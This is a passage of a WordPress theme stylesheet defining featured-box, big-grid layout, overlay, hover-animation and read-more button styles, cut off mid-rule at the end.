ul.homepage-featured-boxes .penci-fea-in:hover h4 span {
	color: var(--pcaccent-cl)
}
ul.homepage-featured-boxes .penci-fea-in.boxes-style-2 h4 {
	background: #fff;
	padding: 0 20px;
	margin-top: -20px
}
ul.homepage-featured-boxes .penci-fea-in.boxes-style-2 h4:before {
	top: -5px;
	left: 0;
	right: 0;
	width: 100%;
	bottom: -5px;
	content: "";
	display: block;
	background: 0 0;
	position: absolute;
	border-top: 1px solid #fff;
	border-bottom: 1px solid #fff;
	-webkit-transition: all .3s ease 0s;
	-moz-transition: all .3s ease 0s;
	-o-transition: all .3s ease 0s;
	transition: all .3s ease 0s
}
ul.homepage-featured-boxes .penci-fea-in.boxes-style-2 h4 span {
	background: 0 0
}
ul.homepage-featured-boxes .penci-fea-in.boxes-style-2 h4 span:before {
	content: none;
	display: none
}
.home-featured-boxes-sc .penci-fea-in.boxes-style-4 .fea-box-img:after,
.home-featured-boxes-sc .penci-fea-in.boxes-style-4 h4 span span:before,
ul.homepage-featured-boxes .penci-fea-in.boxes-style-3 .fea-box-img:after,
ul.homepage-featured-boxes .penci-fea-in.boxes-style-3 h4 span span:before {
	content: none
}
.home-featured-boxes-sc li .penci-fea-in.boxes-style-4:after,
.home-featured-boxes-sc li .penci-fea-in.boxes-style-4:before,
ul.homepage-featured-boxes li .penci-fea-in.boxes-style-3:after,
ul.homepage-featured-boxes li .penci-fea-in.boxes-style-3:before {
	opacity: .4;
	-webkit-transition: all .4s;
	transition: all .4s;
	z-index: 5;
	transform: none;
	-webkit-transform: none;
	left: 10px;
	right: 10px;
	top: 10px;
	bottom: 10px
}
.home-featured-boxes-sc li .penci-fea-in.boxes-style-4:hover:after,
.home-featured-boxes-sc li .penci-fea-in.boxes-style-4:hover:before,
ul.homepage-featured-boxes li .penci-fea-in.boxes-style-3:hover:after,
ul.homepage-featured-boxes li .penci-fea-in.boxes-style-3:hover:before {
	opacity: 1
}
ul.homepage-featured-boxes .penci-fea-in.boxes-style-3 .fea-box-img {
	transition: all .4s ease-in-out;
	-webkit-transition: all .4s ease-in-out;
	-moz-transition: all .4s ease-in-out
}
ul.homepage-featured-boxes .penci-fea-in.boxes-style-3:hover .fea-box-img {
	transform: scale(1.05);
	-webkit-transform: scale(1.05);
	-moz-transform: scale(1.05)
}
ul.homepage-featured-boxes .penci-fea-in.boxes-style-3 h4 span span {
	text-transform: uppercase;
	font-size: 12px;
	font-family: var(--pchead-font)
}
.boxes-weight-bold ul.homepage-featured-boxes .penci-fea-in h4 span span {
	font-weight: 700
}
.home-featured-boxes-sc .penci-fea-in.boxes-style-4:hover .fea-box-img:after {
	opacity: 0
}
.home-featured-boxes-sc li.boxes-no-text .penci-fea-in.boxes-style-4:after,
.home-featured-boxes-sc li.boxes-no-text .penci-fea-in.boxes-style-4:before {
	border: 0
}
ul.homepage-featured-boxes.boxes-4-columns li {
	width: 25%
}
.home-featured-boxes-sc ul.homepage-featured-boxes.boxes-2-columns li {
	width: 50%
}
.home-featured-boxes-sc ul.homepage-featured-boxes.boxes-1-column li {
	width: 100%;
	margin-bottom: 20px
}
.penci-biggrid {
	--pcgap: 4px
}
.penci-biggrid-wrapper {
	margin-bottom: 20px
}
.biggrid-archive-wrapper.penci-biggrid-wrapper {
	margin-bottom: 35px
}
.penci-biggrid-inner {
	overflow: hidden;
	display: block
}
.penci-biggrid-wrapper .pcbg-content-inner {
	z-index: 5
}
.biggrid-archive-wrapper.container.two-sidebar {
	display: block
}
.penci-dflex {
	display: flex;
	display: -webkit-flex;
	display: -ms-flexbox;
	-webkit-flex-flow: row wrap;
	-ms-flex-flow: row wrap;
	flex-flow: row wrap;
	align-items: flex-start
}
.penci-bgstyle-1 .penci-dflex {
	margin-left: -10px;
	margin-right: -10px;
	width: calc(100% + 20px)
}
.penci-bgstyle-1 .penci-dflex .penci-bgitem {
	padding: 0 10px;
	margin-bottom: 20px
}
.pcsl-col-1 .pcsl-item,
.penci-grid-col-1 .penci-dflex .penci-bgitem {
	flex: 0 0 100%
}
.pcsl-col-2 .pcsl-item,
.penci-grid-col-2 .penci-dflex .penci-bgitem {
	flex: 0 0 50%
}
.pcsl-col-3 .pcsl-item,
.penci-grid-col-3 .penci-dflex .penci-bgitem {
	flex: 0 0 33.33333%
}
.pcsl-col-4 .pcsl-item,
.penci-grid-col-4 .penci-dflex .penci-bgitem {
	flex: 0 0 25%
}
.pcsl-col-5 .pcsl-item,
.penci-grid-col-5 .penci-dflex .penci-bgitem {
	flex: 0 0 20%
}
.pcsl-col-6 .pcsl-item,
.penci-grid-col-6 .penci-dflex .penci-bgitem {
	flex: 0 0 16.66667%
}
.pcbg-thumb,
.penci-bgitin {
	position: relative;
	overflow: hidden
}
.pcbg-thumb .pcbg-bgoverlay.active-overlay {
	z-index: 2
}
.pcbg-bgoverlay.active-overlay {
	background: -webkit-linear-gradient(to bottom, rgba(255, 255, 255, 0) 60%, #000 100%);
	background: -o-linear-gradient(to bottom, rgba(255, 255, 255, 0) 60%, #000 100%);
	background: -ms-linear-gradient(to bottom, rgba(255, 255, 255, 0) 60%, #000 100%);
	background: linear-gradient(to bottom, rgba(255, 255, 255, 0) 60%, #000 100%);
	opacity: .7
}
.penci-bgitem:hover .pcbg-bgoverlay.active-overlay {
	opacity: .9
}
.penci-bgmain {
	display: flex;
	flex-direction: column;
	position: relative
}
.pcbg-bgoverlay,
.pcbg-bgoverlaytext,
.pcbg-cbgoverlap,
.pcbg-content {
	position: absolute;
	left: 0;
	right: 0;
	top: 0;
	bottom: 0;
	width: 100%;
	height: 100%;
	display: block
}
.pcbg-cbgoverlap {
	z-index: 100
}
.penci-bgrid-content-above .pcbg-content,
.penci-bgrid-content-below .pcbg-content {
	position: static
}
.penci-bgrid-content-above .penci-bgmain {
	flex-direction: column-reverse
}
.pcbg-bgoverlay,
.pcbg-bgoverlaytext {
	transition: opacity .3s
}
.pcbg-bgoverlaytext {
	z-index: -1
}
.pcbg-mask-title .pcbg-content-inner .pcbg-above {
	margin-bottom: 5px
}
.penci-bgrid-based-custom.pcbg-mask-title .pcbg-content-inner .pcbg-above {
	margin-bottom: 9px
}
.pcbg-mask-title .pcbg-content-inner .pcbg-meta,
.post-entry .pcbg-mask-title .pcbg-content-inner .pcbg-meta {
	margin-top: 13px
}
.pcbg-mask-subtitle .cat>a.penci-cat-name:after {
	content: none;
	display: none
}
.penci-bgrid-based-post.pcbg-mask-subtitle .cat>a.penci-cat-name {
	display: inline-block;
	padding: 1px 5px !important;
	background: #a2d4af;
	box-decoration-break: clone;
	-webkit-box-decoration-break: clone;
	margin-right: 5px
}
.penci-bgrid-based-post.pcbg-mask-subtitle .cat>a.penci-cat-name:last-child {
	margin-right: 0
}
.pcbg-mask-meta .pcbg-meta-desc,
.pcbg-mask-title .pcbg-title,
.penci-bgrid-based-custom.pcbg-mask-subtitle .pcbg-sub-title {
	display: inline;
	background: #a2d4af;
	border: none;
	padding: 0 4px;
	box-decoration-break: clone;
	-webkit-box-decoration-break: clone;
	max-width: 99%;
	transition: background-color .3s, border-color .3s
}
.pcbg-mask-title .pcbg-title {
	border-width: 3px 10px
}
.pcbg-mask-meta .pcbg-meta-desc {
	border-width: 2px 8px
}
.pcbg-content-flex {
	display: flex;
	height: 100%;
	width: 100%;
	z-index: 1;
	align-items: flex-end
}
.pcbg-content-inner {
	padding: 20px;
	position: relative;
	z-index: 1;
	display: block;
	width: 100%
}
.pcbg-content-inner.bgcontent-inline-block {
	display: inline-block;
	width: auto
}
.pcbg-content-inner .pcbg-above {
	line-height: 1;
	margin-bottom: 2px
}
.pcbg-content-inner .cat>a.penci-cat-name,
.pcbg-content-inner .cat>a.penci-cat-name:hover {
	color: inherit
}
.penci-bgrid-content-on .pcbg-content-inner .pcbg-sub-title {
	color: #fff
}
.penci-biggrid-data .pcbg-content-inner .pcbg-title {
	font-size: 18px
}
.penci-biggrid-data .pcbg-content-inner .pcbg-title a {
	font-size: inherit
}
.penci-biggrid-data.penci-fixh .pcbg-content-inner .pcbg-title {
	font-size: 16px
}
.penci-biggrid-data.penci-fixh .pcbg-big-item .pcbg-content-inner .pcbg-title {
	font-size: 24px
}
.penci-biggrid-data .pcbg-content-inner .pcbg-title,
.penci-biggrid-data .pcbg-content-inner .pcbg-title a,
.penci-biggrid-data .pcbg-content-inner .pcbg-title a:hover {
	letter-spacing: 0;
	text-decoration: none;
	margin: 0
}
.penci-bgrid-content-on .pcbg-content-inner .pcbg-title,
.penci-bgrid-content-on .pcbg-content-inner .pcbg-title a,
.penci-bgrid-content-on .pcbg-content-inner .pcbg-title a:hover {
	color: #fff
}
.pcbg-content-inner .pcbg-meta,
.post-entry .pcbg-content-inner .pcbg-meta {
	margin-top: 6px;
	line-height: 1.3;
	font-size: 14px
}
.penci-bgrid-content-on .pcbg-meta,
.penci-bgrid-content-on .pcbg-meta span,
.penci-bgrid-content-on .pcbg-meta span a {
	color: #fff
}
.pcbg-above,
.penci-bgrid-based-custom .pcbg-meta {
	font-size: 14px
}
.penci-bgitem .pcbg-pexcerpt p {
	color: inherit;
	line-height: 1.5;
	text-align: inherit
}
.penci-bgitem .pcbg-pexcerpt p:last-child {
	margin-bottom: 0 !important
}
.pcbg-content-inner .pcbg-meta>div,
.post-entry .pcbg-content-inner .pcbg-meta>div {
	margin-top: 10px
}
.pcbg-content-inner .pcbg-meta>div:first-child,
.post-entry .pcbg-content-inner .pcbg-meta>div:first-child {
	margin-top: 0
}
.penci-bgrid-based-custom .pcbg-sub-title {
	line-height: 1.2;
	margin-bottom: 7px
}
.penci-bgrid-based-custom .pcbg-sub-title a {
	color: inherit
}
.penci-biggrid-data .pcbg-readmore-sec {
	margin-top: 15px
}
.pcbg-readmore-sec .pcbg-readmorebtn,
.pcsl-readmore .pcsl-readmorebtn {
	padding: 10px 15px;
	font-size: 13px;
	line-height: 1;
	background-color: #efefef;
	color: #111;
	position: relative;
	display: inline-flex;
	align-items: center;
	justify-content: center;
	outline: 0;
	border-width: 0;
	border-style: solid;
	border-color: transparent;
	border-radius: 0;
	box-shadow: none;
	vertical-align: middle;
	text-align: center;
	text-decoration: none;
	text-transform: uppercase;
	text-shadow: none;
	letter-spacing: .3px;
	cursor: pointer;
	text-decoration: none !important;
	transition: color .3s ease, background-color .3s ease, border-color .3s ease, box-shadow .3s ease, opacity .3s ease
}
.pcbg-readmore-sec .pcbg-readmorebtn.pcreadmore-icon-right {
	flex-direction: row
}
.pcbg-readmore-sec .pcbg-readmorebtn.pcreadmore-icon-left {
	flex-direction: row-reverse
}
.penci-biggrid-data .pcbg-readmore-sec span {
	color: inherit;
	font: inherit
}
.penci-biggrid-data .pcbg-readmore-sec i {
	font-size: inherit;
	color: inherit
}
.pcbg-readmore-sec .pcrm-text {
	line-height: 1
}
.pcbg-readmore-sec .pcreadmore-icon-right i,
.pcbg-readmore-sec .pcreadmore-icon-right svg {
	margin-left: 5px
}
.pcbg-readmore-sec .pcreadmore-icon-left i,
.pcbg-readmore-sec .pcreadmore-icon-left svg {
	margin-right: 5px
}
.pcbg-thumb .icon-post-format {
	position: absolute;
	z-index: 2;
	text-align: center;
	display: inline-block;
	width: 36px;
	height: 36px;
	line-height: 32px;
	margin: 0;
	font-size: 15px;
	opacity: 1;
	color: rgba(255, 255, 255, .9);
	background: #fff;
	border-radius: 50%;
	-webkit-border-radius: 50%;
	-moz-border-radius: 50%;
	transition: all .3s;
	-webkit-transition: all .3s;
	-moz-transition: all .3s;
	background: rgba(0, 0, 0, .4);
	border: 2px solid rgba(255, 255, 255, .9)
}
.pcbg-thumb .icon-post-format .fa-play {
	margin-left: 2px
}
.pcbg-thumb .penci-piechart {
	right: auto;
	top: auto
}
.pcbg-ficonpo-top-right .pcbg-thumb .icon-post-format,
.pcbg-reiconpo-top-right .pcbg-thumb .penci-piechart {
	top: 20px;
	right: 20px
}
.pcbg-ficonpo-top-left .pcbg-thumb .icon-post-format,
.pcbg-reiconpo-top-left .pcbg-thumb .penci-piechart {
	top: 20px;
	left: 20px
}
.pcbg-ficonpo-bottom-right .pcbg-thumb .icon-post-format,
.pcbg-reiconpo-bottom-right .pcbg-thumb .penci-piechart {
	bottom: 20px;
	right: 20px
}
.pcbg-ficonpo-bottom-left .pcbg-thumb .icon-post-format,
.pcbg-reiconpo-bottom-left .pcbg-thumb .penci-piechart {
	bottom: 20px;
	left: 20px
}
.pcbg-ficonpo-center .pcbg-thumb .icon-post-format,
.pcbg-reiconpo-center .pcbg-thumb .penci-piechart {
	top: 50%;
	left: 50%;
	margin: -20px 0 0 -20px
}
.pcbg-reiconpo-center .pcbg-thumb .penci-piechart {
	margin: -25px 0 0 -25px
}
.penci-bgitem:hover .icon-post-format {
	opacity: 0;
	transform: scale(.5);
	-webkit-transform: scale(.5);
	-moz-transform: scale(.5)
}
@media only screen and (max-width:767px) {
	.penci-biggrid-wrapper.hide-mdesc .pcbg-content-inner .pcbg-meta,
	.penci-biggrid-wrapper.hide-mexcerpt .pcbg-content-inner .pcbg-pexcerpt,
	.penci-biggrid-wrapper.hide-mreadmorebt .pcbg-content-inner .pcbg-readmore-sec,
	.penci-biggrid-wrapper.hide-msubtitle .pcbg-content-inner .pcbg-above,
	.penci-biggrid-wrapper.hide-msubtitle .pcbg-content-inner .pcbg-below {
		display: none
	}
	.pcbg-ficonpo-top-right .pcbg-thumb .icon-post-format,
	.pcbg-reiconpo-top-right .pcbg-thumb .penci-piechart {
		top: 15px;
		right: 15px
	}
	.pcbg-ficonpo-top-left .pcbg-thumb .icon-post-format,
	.pcbg-reiconpo-top-left .pcbg-thumb .penci-piechart {
		top: 15px;
		left: 15px
	}
	.pcbg-ficonpo-bottom-right .pcbg-thumb .icon-post-format,
	.pcbg-reiconpo-bottom-right .pcbg-thumb .penci-piechart {
		bottom: 15px;
		right: 15px
	}
	.pcbg-ficonpo-bottom-left .pcbg-thumb .icon-post-format,
	.pcbg-reiconpo-bottom-left .pcbg-thumb .penci-piechart {
		bottom: 15px;
		left: 15px
	}
}
.penci-biggrid .penci-pagination {
	margin-bottom: 0;
	margin-top: 20px
}
.penci-bgstyle-1 .penci-pagination,
.penci-bgstyle-2 .penci-pagination {
	margin-top: 0
}
.penci-biggrid .penci-pagination a i {
	font-size: inherit
}
.pcbg-thumbin {
	display: block;
	margin: -1px;
	transition: -webkit-transform .5s cubic-bezier(0, 0, .42, 1.21);
	transition: transform .5s cubic-bezier(0, 0, .42, 1.21)
}
.pencibg-imageh-move-bottom .penci-bgitem .pcbg-thumbin,
.pencibg-imageh-move-left .penci-bgitem .pcbg-thumbin,
.pencibg-imageh-move-right .penci-bgitem .pcbg-thumbin,
.pencibg-imageh-move-top .penci-bgitem .pcbg-thumbin,
.pencibg-imageh-zoom-in .penci-bgitem:hover .pcbg-thumbin,
.pencibg-imageh-zoom-out .penci-bgitem .pcbg-thumbin {
	-webkit-transform: scale(1.09);
	transform: scale(1.09)
}
.pencibg-imageh-zoom-out .penci-bgitem:hover .pcbg-thumbin {
	-webkit-transform: scale3d(1, 1, 1);
	transform: scale3d(1, 1, 1)
}
.pencibg-imageh-move-left .penci-bgitem .pcbg-thumbin {
	-webkit-transform: scale3d(1.1, 1.1, 1) translateX(4%);
	transform: scale3d(1.1, 1.1, 1) translateX(4%)
}
.pencibg-imageh-move-left .penci-bgitem:hover .pcbg-thumbin {
	-webkit-transform: scale3d(1.1, 1.1, 1) translateX(-4%);
	transform: scale3d(1.1, 1.1, 1) translateX(-4%)
}
.pencibg-imageh-move-right .penci-bgitem .pcbg-thumbin {
	-webkit-transform: scale3d(1.1, 1.1, 1) translateX(-4%);
	transform: scale3d(1.1, 1.1, 1) translateX(-4%)
}
.pencibg-imageh-move-right .penci-bgitem:hover .pcbg-thumbin {
	-webkit-transform: scale3d(1.1, 1.1, 1) translateX(4%);
	transform: scale3d(1.1, 1.1, 1) translateX(4%)
}
.pencibg-imageh-move-top .penci-bgitem .pcbg-thumbin {
	-webkit-transform: scale3d(1.1, 1.1, 1) translateY(4%);
	transform: scale3d(1.1, 1.1, 1) translateY(4%)
}
.pencibg-imageh-move-top .penci-bgitem:hover .pcbg-thumbin {
	-webkit-transform: scale3d(1.1, 1.1, 1) translateY(-4%);
	transform: scale3d(1.1, 1.1, 1) translateY(-4%)
}
.pencibg-imageh-move-bottom .penci-bgitem .pcbg-thumbin {
	-webkit-transform: scale3d(1.1, 1.1, 1) translateY(-4%);
	transform: scale3d(1.1, 1.1, 1) translateY(-4%)
}
.pencibg-imageh-move-bottom .penci-bgitem:hover .pcbg-thumbin {
	-webkit-transform: scale3d(1.1, 1.1, 1) translateY(4%);
	transform: scale3d(1.1, 1.1, 1) translateY(4%)
}
.textop .pcbg-content-inner>div:nth-of-type(1) {
	transition-delay: 50ms
}
.textop .pcbg-content-inner>div:nth-of-type(2) {
	transition-delay: .1s
}
.textop .pcbg-content-inner>div:nth-of-type(3) {
	transition-delay: .15s
}
.textop .pcbg-content-inner>div:nth-of-type(4) {
	transition-delay: .2s
}
.pencibg-texth-show-in.textop .item-hover {
	opacity: 0;
	visibility: hidden;
	transition: transform .2s ease-in-out, opacity .2s ease-in-out
}
.pencibg-texth-show-in.textop.pencibg-textani-movetop .item-hover {
	transform: translateY(15px);
	-webkit-transform: translateY(15px)
}
.pencibg-texth-show-in.textop.pencibg-textani-movebottom .item-hover {
	transform: translateY(-15px);
	-webkit-transform: translateY(-15px)
}
.pencibg-texth-show-in.textop.pencibg-textani-moveleft .item-hover {
	transform: translateX(15px);
	-webkit-transform: translateX(15px)
}
.pencibg-texth-show-in.textop.pencibg-textani-moveright .item-hover {
	transform: translateX(-15px);
	-webkit-transform: translateX(-15px)
}
.pencibg-texth-show-in.textop .penci-bgitem:hover .item-hover {
	opacity: 1;
	visibility: visible;
	transform: translate(0, 0);
	-webkit-transform: translate(0, 0)
}
.pencibg-texth-hide-in.textop .item-hover {
	opacity: 1;
	transition: transform .2s ease-in-out, opacity .2s ease-in-out, visibility .2s ease-in-out;
	transform: translate(0, 0);
	-webkit-transform: translate(0, 0);
	visibility: visible
}
.pencibg-texth-hide-in.textop.pencibg-textani-movetop .penci-bgitem:hover .item-hover {
	transform: translateY(-15px);
	-webkit-transform: translateY(-15px)
}
.pencibg-texth-hide-in.textop.pencibg-textani-movebottom .penci-bgitem:hover .item-hover {
	transform: translateY(15px);
	-webkit-transform: translateY(15px)
}
.pencibg-texth-hide-in.textop.pencibg-textani-moveleft .penci-bgitem:hover .item-hover {
	transform: translateX(-15px);
	-webkit-transform: translateX(-15px)
}
.pencibg-texth-hide-in.textop.pencibg-textani-moveright .penci-bgitem:hover .item-hover {
	transform: translateX(15px);
	-webkit-transform: translateX(15px)
}
.pencibg-texth-hide-in.textop .penci-bgitem:hover .item-hover {
	opacity: 0;
	visibility: hidden
}
.pencibg-texth-show-in.notextop .pcbg-content-inner {
	opacity: 0;
	transition: opacity .2s ease-in-out, transform .2s ease-in-out
}
.pencibg-texth-show-in.pencibg-textani-zoomin .pcbg-content-inner {
	transform: scale(.8);
	-webkit-transform: scale(.8)
}
.pencibg-texth-show-in.pencibg-textani-zoomout .pcbg-content-inner {
	transform: scale(1.2);
	-webkit-transform: scale(1.2)
}
.pencibg-texth-show-in.notextop .penci-bgitem:hover .pcbg-content-inner {
	opacity: 1;
	transform: scale(1);
	-webkit-transform: scale(1)
}
.pencibg-texth-hide-in.notextop .pcbg-content-inner {
	opacity: 1;
	transition: opacity .2s ease-in-out, transform .2s ease-in-out;
	transform: scale(1);
	-webkit-transform: scale(1)
}
.pencibg-texth-hide-in.pencibg-textani-zoomin .penci-bgitem:hover .pcbg-content-inner {
	opacity: 0;
	transform: scale(1.2);
	-webkit-transform: scale(1.2)
}
.pencibg-texth-hide-in.pencibg-textani-zoomout .penci-bgitem:hover .pcbg-content-inner {
	opacity: 0;
	transform: scale(.8);
	-webkit-transform: scale(.8)
}
.pencibg-texth-hide-in.pencibg-textani-fade .penci-bgitem:hover .pcbg-content-inner {
	opacity: 0
}
.penci-biggrid-wrapper.pcbg-titles-visible .pcbg-heading.item-hover {
	opacity: 1 !important;
	visibility: visible !important
}
.penci-bgstyle-2 .penci-biggrid-data {
	margin-left: -10px;
	margin-right: -10px
}
.penci-bgstyle-2 .item-masonry {
	width: 33.3333%;
	float: left;
	display: block;
	padding-left: 10px;
	padding-right: 10px;
	margin-bottom: 20px
}
.penci-bgstyle-2 .penci-image-holder:before {
	content: none
}
.penci-grid-col-1 .penci-bgstyle-2 .item-masonry {
	width: 100%
}
.penci-grid-col-2 .penci-bgstyle-2 .item-masonry {
	width: 50%
}
.penci-grid-col-4 .penci-bgstyle-2 .item-masonry {
	width: 25%
}
.penci-grid-col-5 .penci-bgstyle-2 .item-masonry {
	width: 20%
}
.penci-grid-col-6 .penci-bgstyle-2 .item-masonry {
	width: 16.666666%
}
.penci-fixh {
	display: block
}
.penci-fixh .pcbg-thumb,
.penci-fixh .pcbg-thumbin,
.penci-fixh .penci-bgitin,
.penci-fixh .penci-bgmain,
.penci-fixh .penci-image-holder {
	height: 100%
}
.penci-fixh .penci-image-holder:before {
	content: none;
	padding-top: 0
}
.penci-fixh .penci-bgitem {
	margin-right: var(--pcgap);
	margin-bottom: var(--pcgap);
	float: left
}
.penci-pagination.pcbg-paging-align-center.penci-ajax-more a.penci-ajax-more-button {
	margin-right: auto;
	margin-left: auto
}
.penci-pagination.pcbg-paging-align-right.penci-ajax-more a.penci-ajax-more-button {
	margin-left: auto;
	margin-right: 0
}
.penci-pagination.pcbg-paging-align-left.penci-ajax-more a.penci-ajax-more-button {
	margin-right: auto;
	margin-left: 0
}
.penci-bgstyle-3 .penci-fixh {
	--bgh: 500px
}
.penci-bgstyle-3 .penci-fixh .penci-bgitem {
	width: 33.33333%;
	height: calc(var(--bgh)/ 2 - var(--pcgap)/ 2);
	margin-right: 0
}
.penci-bgstyle-3 .penci-fixh .bgitem-1 {
	width: calc(66.66667% - var(--pcgap));
	height: var(--bgh);
	margin-right: var(--pcgap)
}
.penci-bgstyle-4 .penci-fixh {
	--bgh: 460px
}
.penci-bgstyle-4 .penci-fixh .penci-bgitem {
	width: calc(25% - var(--pcgap)/ 2);
	height: calc(var(--bgh)/ 2 - var(--pcgap)/ 2)
}
.penci-bgstyle-4 .penci-fixh .bgitem-1 {
	width: calc(50% - var(--pcgap));
	height: var(--bgh)
}
.penci-bgstyle-4 .penci-fixh .bgitem-0,
.penci-bgstyle-4 .penci-fixh .bgitem-3 {
	margin-right: 0
}
.penci-bgstyle-5 .penci-fixh {
	--bgh: 400px
}
.penci-bgstyle-5 .penci-fixh .penci-bgitem {
	width: calc(25% - var(--pcgap)/ 2);
	height: var(--bgh)
}
.penci-bgstyle-5 .penci-fixh .bgitem-1 {
	width: calc(50% - var(--pcgap))
}
.penci-bgstyle-5 .penci-fixh .bgitem-0 {
	margin-right: 0
}
.penci-bgstyle-6 .penci-fixh {
	--bgh: 460px;
	display: flex;
	-webkit-flex-flow: column wrap;
	-ms-flex-flow: column wrap;
	flex-flow: column wrap;
	-webkit-align-content: flex-start;
	-ms-flex-line-pack: start;
	align-content: flex-start;
	max-height: var(--bgh)
}
.penci-bgstyle-6 .penci-fixh:after,
.penci-bgstyle-6 .penci-fixh:before {
	content: none
}
.penci-bgstyle-6 .penci-fixh .penci-bgitem {
	height: calc(var(--bgh)/ 2 - var(--pcgap));
	width: calc(25% - var(--pcgap));
	order: 1
}
.penci-bgstyle-6 .penci-fixh .bgitem-1 {
	width: 50%;
	height: var(--bgh);
	order: 2
}
.penci-bgstyle-6 .penci-fixh .bgitem-0,
.penci-bgstyle-6 .penci-fixh .bgitem-4 {
	margin-right: 0
}
.penci-bgstyle-6 .penci-fixh .bgitem-0,
.penci-bgstyle-6 .penci-fixh .bgitem-4 {
	order: 3
}
.penci-bgstyle-7 .penci-fixh {
	--bgh: 460px
}
.penci-bgstyle-7 .penci-fixh .penci-bgitem {
	height: calc(var(--bgh)/ 2 - var(--pcgap)/ 2);
	width: calc(25% - var(--pcgap)/ 2)
}
.penci-bgstyle-7 .penci-fixh .bgitem-1 {
	width: calc(50% - var(--pcgap));
	height: var(--bgh)
}
.penci-bgstyle-7 .penci-fixh .bgitem-2 {
	width: 50%
}
.penci-bgstyle-7 .penci-fixh .bgitem-0,
.penci-bgstyle-7 .penci-fixh .bgitem-2 {
	margin-right: 0
}
.penci-bgstyle-8 .penci-fixh {
	--bgh: 460px
}
.penci-bgstyle-8 .penci-fixh .penci-bgitem {
	width: calc(38% - var(--pcgap)/ 2);
	height: calc(var(--bgh)/ 3 - var(--pcgap));
	margin-right: 0
}
.penci-bgstyle-8 .penci-fixh .bgitem-1 {
	width: calc(62% - var(--pcgap)/ 2);
	height: var(--bgh);
	margin-right: var(--pcgap)
}
.penci-bgstyle-8 .penci-fixh .bgitem-2 {
	height: calc(var(--bgh)/ 3)
}
.penci-bgstyle-10 .penci-fixh,
.penci-bgstyle-9 .penci-fixh {
	--bgh: 250px
}
.penci-bgstyle-10 .penci-fixh .penci-bgitem,
.penci-bgstyle-9 .penci-fixh .penci-bgitem {
	width: calc((100% - 2 * var(--pcgap))/ 3);
	height: var(--bgh)
}
.penci-bgstyle-10 .penci-fixh .bgitem-0,
.penci-bgstyle-10 .penci-fixh .bgitem-4,
.penci-bgstyle-9 .penci-fixh .bgitem-1,
.penci-bgstyle-9 .penci-fixh .bgitem-2 {
	width: calc(50% - var(--pcgap)/ 2);
	height: calc(var(--bgh) * 1.5)
}
.penci-bgstyle-10 .penci-fixh .bgitem-0,
.penci-bgstyle-10 .penci-fixh .bgitem-3,
.penci-bgstyle-9 .penci-fixh .bgitem-0,
.penci-bgstyle-9 .penci-fixh .bgitem-2 {
	margin-right: 0
}
.penci-bgstyle-11 .penci-fixh {
	--bgh: 400px
}
.penci-bgstyle-11 .penci-fixh .penci-bgitem {
	width: 40%;
	height: calc(var(--bgh)/ 2 - var(--pcgap)/ 2)
}
.penci-bgstyle-11 .penci-fixh .bgitem-1,
.penci-bgstyle-11 .penci-fixh .bgitem-2 {
	width: calc(30% - var(--pcgap));
	height: var(--bgh)
}
.penci-bgstyle-11 .penci-fixh .bgitem-0,
.penci-bgstyle-11 .penci-fixh .bgitem-3 {
	margin-right: 0
}
.penci-bgstyle-12 .penci-fixh {
	--bgh: 400px
}
.penci-bgstyle-12 .penci-fixh .penci-bgitem {
	width: calc(25% - var(--pcgap));
	height: calc(var(--bgh)/ 2 - var(--pcgap)/ 2)
}
.penci-bgstyle-12 .penci-fixh .bgitem-1 {
	width: 50%;
	height: var(--bgh)
}
.penci-bgstyle-12 .penci-fixh .bgitem-2 {
	height: var(--bgh)
}
.penci-bgstyle-12 .penci-fixh .bgitem-0,
.penci-bgstyle-12 .penci-fixh .bgitem-3 {
	margin-right: 0
}
.penci-bgstyle-13 .penci-fixh {
	--bgh: 600px
}
.penci-bgstyle-13 .penci-fixh .penci-bgitem {
	width: calc(50% - var(--pcgap)/ 2);
	height: calc(var(--bgh)/ 2);
	margin-right: 0
}
.penci-bgstyle-13 .penci-fixh .bgitem-1 {
	width: 100%;
	height: var(--bgh)
}
.penci-bgstyle-13 .penci-fixh .bgitem-2 {
	margin-right: var(--pcgap)
}
.penci-bgstyle-14 .penci-fixh {
	--bgh: 660px
}
.penci-bgstyle-14 .penci-fixh .penci-bgitem {
	width: calc((100% - 2 * var(--pcgap))/ 3);
	height: calc(var(--bgh)/ 3)
}
.penci-bgstyle-14 .penci-fixh .bgitem-1 {
	width: 100%;
	height: var(--bgh)
}
.penci-bgstyle-14 .penci-fixh .bgitem-0,
.penci-bgstyle-14 .penci-fixh .bgitem-1 {
	margin-right: 0
}
.penci-bgstyle-15 .penci-fixh {
	--bgh: 500px
}
.penci-bgstyle-15 .penci-fixh .penci-bgitem {
	width: calc((100% - 2 * var(--pcgap))/ 3);
	height: calc(var(--bgh)/ 2 - var(--pcgap)/ 2)
}
.penci-bgstyle-15 .penci-fixh .bgitem-1 {
	width: calc(100% - (100% - 2 * var(--pcgap))/ 3 - var(--pcgap));
	height: var(--bgh)
}
.penci-bgstyle-15 .penci-fixh .bgitem-0,
.penci-bgstyle-15 .penci-fixh .bgitem-2,
.penci-bgstyle-15 .penci-fixh .bgitem-3 {
	margin-right: 0
}
.penci-bgstyle-16 .penci-fixh {
	--bgh: 300px
}
.penci-bgstyle-16 .penci-fixh .penci-bgitem {
	width: calc(44% - var(--pcgap)/ 2);
	height: var(--bgh)
}
.penci-bgstyle-16 .penci-fixh .bgitem-0,
.penci-bgstyle-16 .penci-fixh .bgitem-1 {
	width: calc(56% - var(--pcgap)/ 2)
}
.penci-bgstyle-16 .penci-fixh .bgitem-0,
.penci-bgstyle-16 .penci-fixh .bgitem-2 {
	margin-right: 0
}
.penci-bgstyle-17 .penci-fixh {
	--bgh: 400px;
	display: flex;
	-webkit-align-content: flex-start;
	-ms-flex-line-pack: start;
	align-content: flex-start;
	margin-right: 0
}
.penci-bgstyle-17 .penci-fixh {
	--bgh: 400px
}
.penci-bgstyle-17 .penci-fixh .penci-bgitem {
	width: calc(25% - var(--pcgap)/ 2);
	height: var(--bgh);
	order: 2
}
.penci-bgstyle-17 .penci-fixh .bgitem-1 {
	width: calc(50% - var(--pcgap));
	order: 3
}
.penci-bgstyle-17 .penci-fixh .bgitem-0 {
	margin-right: 0;
	order: 4
}
.penci-bgstyle-18 .penci-fixh {
	--bgh: 560px
}
.penci-bgstyle-18 .penci-fixh .penci-bgitem {
	width: calc(35% - var(--pcgap)/ 2);
	height: var(--bgh)
}
.penci-bgstyle-18 .penci-fixh .bgitem-0,
.penci-bgstyle-18 .penci-fixh .bgitem-1 {
	width: calc(65% - var(--pcgap)/ 2)
}
.penci-bgstyle-18 .penci-fixh .bgitem-0,
